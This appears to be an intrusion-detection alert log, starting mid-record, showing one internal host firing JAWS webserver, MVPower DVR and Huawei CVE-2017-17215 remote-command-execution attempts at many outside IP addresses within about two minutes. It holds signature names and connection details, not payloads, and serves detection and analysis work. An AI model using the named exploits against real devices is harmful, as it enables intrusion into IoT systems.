SID:	2025883
Source Port:	56836
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 52.3.52.213

Timestamp:	04/14/24-04:00:14.195661
SID:	2030092
Source Port:	42090
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 18.224.121.76

Timestamp:	04/14/24-04:00:53.167056
SID:	2025883
Source Port:	54112
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 12.175.64.146

Timestamp:	04/14/24-04:01:12.492040
SID:	2025883
Source Port:	52220
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 57.180.150.1

Timestamp:	04/14/24-04:01:30.711319
SID:	2030092
Source Port:	38026
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 66.102.1.100

Timestamp:	04/14/24-04:01:36.114586
SID:	2030092
Source Port:	51750
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 45.39.159.30

Timestamp:	04/14/24-04:00:53.021786
SID:	2030092
Source Port:	49870
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 64.68.101.146

Timestamp:	04/14/24-04:01:39.174627
SID:	2030092
Source Port:	40790
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 47.92.94.115

Timestamp:	04/14/24-04:01:11.685543
SID:	2025883
Source Port:	60590
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 106.75.71.194

Timestamp:	04/14/24-04:00:59.692516
SID:	2030092
Source Port:	59714
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 184.85.93.3

Timestamp:	04/14/24-04:00:14.603564
SID:	2030092
Source Port:	60510
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 5.150.254.149

Timestamp:	04/14/24-04:01:02.699129
SID:	2030092
Source Port:	40374
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 18.244.146.19

Timestamp:	04/14/24-04:01:24.449467
SID:	2025883
Source Port:	57888
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 104.68.110.236

Timestamp:	04/14/24-04:01:19.481800
SID:	2025883
Source Port:	60918
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 119.204.215.178

Timestamp:	04/14/24-04:00:59.240251
SID:	2025883
Source Port:	43072
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 154.95.185.195

Timestamp:	04/14/24-04:01:36.712498
SID:	2025883
Source Port:	44760
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 34.120.76.126

Timestamp:	04/14/24-04:00:45.318776
SID:	2025883
Source Port:	55844
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 153.122.144.93

Timestamp:	04/14/24-04:00:55.406095
SID:	2030092
Source Port:	43780
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 188.114.228.73

Timestamp:	04/14/24-04:01:25.720532
SID:	2025883
Source Port:	34220
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 31.13.84.169

Timestamp:	04/14/24-04:00:26.879376
SID:	2030092
Source Port:	54720
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 34.49.210.122

Timestamp:	04/14/24-04:01:45.139466
SID:	2025883
Source Port:	60860
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 13.224.85.84

Timestamp:	04/14/24-04:01:49.638047
SID:	2030092
Source Port:	42882
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 128.199.34.29

Timestamp:	04/14/24-04:00:43.209327
SID:	2025883
Source Port:	43446
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 39.106.2.90

Timestamp:	04/14/24-04:01:15.437210
SID:	2025883
Source Port:	54376
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 23.60.188.235

Timestamp:	04/14/24-04:01:12.960545
SID:	2030092
Source Port:	53022
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 63.195.174.53

Timestamp:	04/14/24-04:00:40.641385
SID:	2025883
Source Port:	33372
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 185.81.0.63

Timestamp:	04/14/24-04:01:15.756970
SID:	2030092
Source Port:	56148
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 23.26.195.86

Timestamp:	04/14/24-04:00:29.455528
SID:	2025883
Source Port:	52934
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 188.59.40.100

Timestamp:	04/14/24-04:00:55.504706
SID:	2030092
Source Port:	33266
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 93.190.199.140

Timestamp:	04/14/24-04:00:39.676085
SID:	2025883
Source Port:	52940
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 154.215.156.78

Timestamp:	04/14/24-04:01:45.623725
SID:	2030092
Source Port:	60788
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 154.220.246.97

Timestamp:	04/14/24-04:01:32.314413
SID:	2025883
Source Port:	41278
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 23.65.233.196

Timestamp:	04/14/24-04:01:41.938077
SID:	2030092
Source Port:	53036
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 23.80.218.14

Timestamp:	04/14/24-04:01:42.298419
SID:	2030092
Source Port:	54356
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 2.19.237.30

Timestamp:	04/14/24-04:00:34.258962
SID:	2025883
Source Port:	46816
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 23.216.200.106

Timestamp:	04/14/24-04:00:29.497034
SID:	2025883
Source Port:	38798
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 164.46.113.233

Timestamp:	04/14/24-04:01:49.311683
SID:	2025883
Source Port:	40004
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 95.164.23.125

Timestamp:	04/14/24-04:01:18.593401
SID:	2025883
Source Port:	46282
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 138.4.80.75

Timestamp:	04/14/24-04:00:45.469766
SID:	2030092
Source Port:	40478
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 118.71.31.48

Timestamp:	04/14/24-04:00:38.992250
SID:	2025883
Source Port:	44008
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 190.176.244.245

Timestamp:	04/14/24-04:01:18.096502
SID:	2030092
Source Port:	36776
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 81.196.66.125

Timestamp:	04/14/24-04:00:26.549972
SID:	2025883
Source Port:	37700
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 149.100.159.185

Timestamp:	04/14/24-04:01:22.742859
SID:	2025883
Source Port:	53044
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 137.59.86.100

Timestamp:	04/14/24-04:00:29.842474
SID:	2030092
Source Port:	37864
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 103.19.242.39

Timestamp:	04/14/24-03:59:56.684803
SID:	2025883
Source Port:	44004
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 159.89.127.214

Timestamp:	04/14/24-04:00:21.834259
SID:	2030092
Source Port:	44988
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 184.30.179.72

Timestamp:	04/14/24-04:01:24.274200
SID:	2030092
Source Port:	47478
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 38.48.143.91

Timestamp:	04/14/24-04:00:30.436023
SID:	2025883
Source Port:	34314
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 39.108.232.40

Timestamp:	04/14/24-04:00:14.055282
SID:	2025883
Source Port:	35740
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 67.166.0.107

Timestamp:	04/14/24-04:01:41.938233
SID:	2030092
Source Port:	47608
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 18.155.109.0

Timestamp:	04/14/24-04:00:55.907978
SID:	2025883
Source Port:	36730
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 199.190.47.23

Timestamp:	04/14/24-04:01:02.730809
SID:	2030092
Source Port:	48196
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 46.167.65.5

Timestamp:	04/14/24-04:01:24.849986
SID:	2030092
Source Port:	55138
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 2.193.208.197

Timestamp:	04/14/24-04:00:37.076373
SID:	2030092
Source Port:	35694
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.241.125.101

Timestamp:	04/14/24-04:00:21.102635
SID:	2829579
Source Port:	33710
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 23.79.27.90

Timestamp:	04/14/24-04:01:08.176095
SID:	2025883
Source Port:	50478
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 122.170.108.4

Timestamp:	04/14/24-04:01:36.974737
SID:	2030092
Source Port:	51522
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 52.6.14.111

Timestamp:	04/14/24-04:01:25.452088
SID:	2025883
Source Port:	57856
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 23.214.128.100

Timestamp:	04/14/24-04:00:26.833868
SID:	2025883
Source Port:	54934
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 18.164.29.202

Timestamp:	04/14/24-04:01:22.744467
SID:	2025883
Source Port:	53076
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 8.217.236.138

Timestamp:	04/14/24-04:00:20.364272
SID:	2030092
Source Port:	37672
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 17.248.175.20

Timestamp:	04/14/24-03:59:54.925996
SID:	2025883
Source Port:	44542
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 137.175.8.6

Timestamp:	04/14/24-04:01:04.313894
SID:	2030092
Source Port:	33956
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 54.67.63.127

Timestamp:	04/14/24-04:00:43.058678
SID:	2030092
Source Port:	44120
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 185.242.83.139

Timestamp:	04/14/24-04:00:43.209278
SID:	2030092
Source Port:	49396
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 113.21.246.146

Timestamp:	04/14/24-04:00:43.674629
SID:	2030092
Source Port:	38538
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 138.122.165.69

Timestamp:	04/14/24-04:01:42.477459
SID:	2030092
Source Port:	50646
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 136.226.33.46

Timestamp:	04/14/24-04:01:37.508770
SID:	2025883
Source Port:	53380
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 47.94.165.217

Timestamp:	04/14/24-04:01:11.676717
SID:	2030092
Source Port:	44394
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 154.41.233.203

Timestamp:	04/14/24-04:01:46.885573
SID:	2030092
Source Port:	32906
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 159.75.252.47

Timestamp:	04/14/24-04:00:58.809367
SID:	2025883
Source Port:	53566
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 193.180.115.13

Timestamp:	04/14/24-04:00:58.798190
SID:	2025883
Source Port:	33346
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 167.82.21.21

Timestamp:	04/14/24-04:01:45.140848
SID:	2025883
Source Port:	37080
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 60.204.205.119

Timestamp:	04/14/24-04:00:33.595544
SID:	2030092
Source Port:	51226
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 121.89.58.33

Timestamp:	04/14/24-04:00:38.026702
SID:	2025883
Source Port:	37358
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 147.46.240.199

Timestamp:	04/14/24-04:00:58.540176
SID:	2030092
Source Port:	52074
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.241.107.105

Timestamp:	04/14/24-04:01:42.534077
SID:	2835222
Source Port:	59772
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 178.25.1.70

Timestamp:	04/14/24-04:01:11.341399
SID:	2025883
Source Port:	57016
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 92.205.173.124

Timestamp:	04/14/24-04:00:38.671898
SID:	2030092
Source Port:	47970
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 201.96.157.17

Timestamp:	04/14/24-04:01:45.452977
SID:	2030092
Source Port:	53076
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 52.1.206.174

Timestamp:	04/14/24-04:01:24.679598
SID:	2030092
Source Port:	41274
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 51.75.161.197

Timestamp:	04/14/24-04:00:53.696334
SID:	2030092
Source Port:	54650
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 95.100.235.124

Timestamp:	04/14/24-04:00:52.605156
SID:	2025883
Source Port:	60906
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 104.218.232.35

Timestamp:	04/14/24-04:00:23.285416
SID:	2025883
Source Port:	34700
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 50.87.191.161

Timestamp:	04/14/24-04:01:49.401864
SID:	2030092
Source Port:	46398
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 13.250.76.130

Timestamp:	04/14/24-04:00:26.568955
SID:	2030092
Source Port:	39674
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 164.42.150.172

Timestamp:	04/14/24-04:00:57.603560
SID:	2030092
Source Port:	45098
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 156.241.99.154

Timestamp:	04/14/24-04:01:02.368798
SID:	2030092
Source Port:	57790
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 189.43.147.177

Timestamp:	04/14/24-04:00:23.634919
SID:	2025883
Source Port:	38066
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 125.23.46.59

Timestamp:	04/14/24-04:00:39.952737
SID:	2025883
Source Port:	35040
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 104.89.113.53

Timestamp:	04/14/24-04:00:15.768696
SID:	2025883
Source Port:	36874
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 218.16.123.214

Timestamp:	04/14/24-04:00:29.712863
SID:	2030092
Source Port:	36038
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 23.198.87.106

Timestamp:	04/14/24-04:00:40.640622
SID:	2030092
Source Port:	58186
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 74.208.25.82

Timestamp:	04/14/24-03:59:54.909818
SID:	2025883
Source Port:	45610
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 45.116.167.168

Timestamp:	04/14/24-04:01:15.408119
SID:	2030092
Source Port:	50318
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 46.242.239.155

Timestamp:	04/14/24-04:01:49.658287
SID:	2025883
Source Port:	59388
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 46.235.189.35

Timestamp:	04/14/24-04:00:14.463199
SID:	2025883
Source Port:	54158
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 172.255.83.242

Timestamp:	04/14/24-04:00:13.935441
SID:	2030092
Source Port:	58952
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 51.255.0.122

Timestamp:	04/14/24-04:00:27.627857
SID:	2030092
Source Port:	54108
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 178.128.249.27

Timestamp:	04/14/24-04:01:19.624616
SID:	2025883
Source Port:	43492
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 154.22.44.160

Timestamp:	04/14/24-04:01:36.404011
SID:	2030092
Source Port:	47080
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 116.106.105.209

Timestamp:	04/14/24-04:00:47.652607
SID:	2025883
Source Port:	39820
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 125.133.17.134

Timestamp:	04/14/24-04:01:32.520290
SID:	2030092
Source Port:	48304
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 182.253.216.253

Timestamp:	04/14/24-04:01:28.439800
SID:	2025883
Source Port:	54638
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 20.7.224.72

Timestamp:	04/14/24-04:01:35.723502
SID:	2025883
Source Port:	40236
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 47.225.41.28

Timestamp:	04/14/24-04:00:29.271232
SID:	2025883
Source Port:	43336
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 23.87.89.132

Timestamp:	04/14/24-04:00:22.655595
SID:	2030092
Source Port:	33282
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 18.118.98.24

Timestamp:	04/14/24-04:00:26.671375
SID:	2025883
Source Port:	53538
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 107.23.217.196

Timestamp:	04/14/24-04:00:19.560533
SID:	2025883
Source Port:	42962
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 34.210.176.69

Timestamp:	04/14/24-04:00:30.450105
SID:	2030092
Source Port:	33768
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 37.100.134.205

Timestamp:	04/14/24-04:00:36.444458
SID:	2030092
Source Port:	60518
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 185.153.151.196

Timestamp:	04/14/24-04:00:19.372950
SID:	2025883
Source Port:	33548
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 174.138.113.58

Timestamp:	04/14/24-04:00:33.174775
SID:	2025883
Source Port:	44088
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

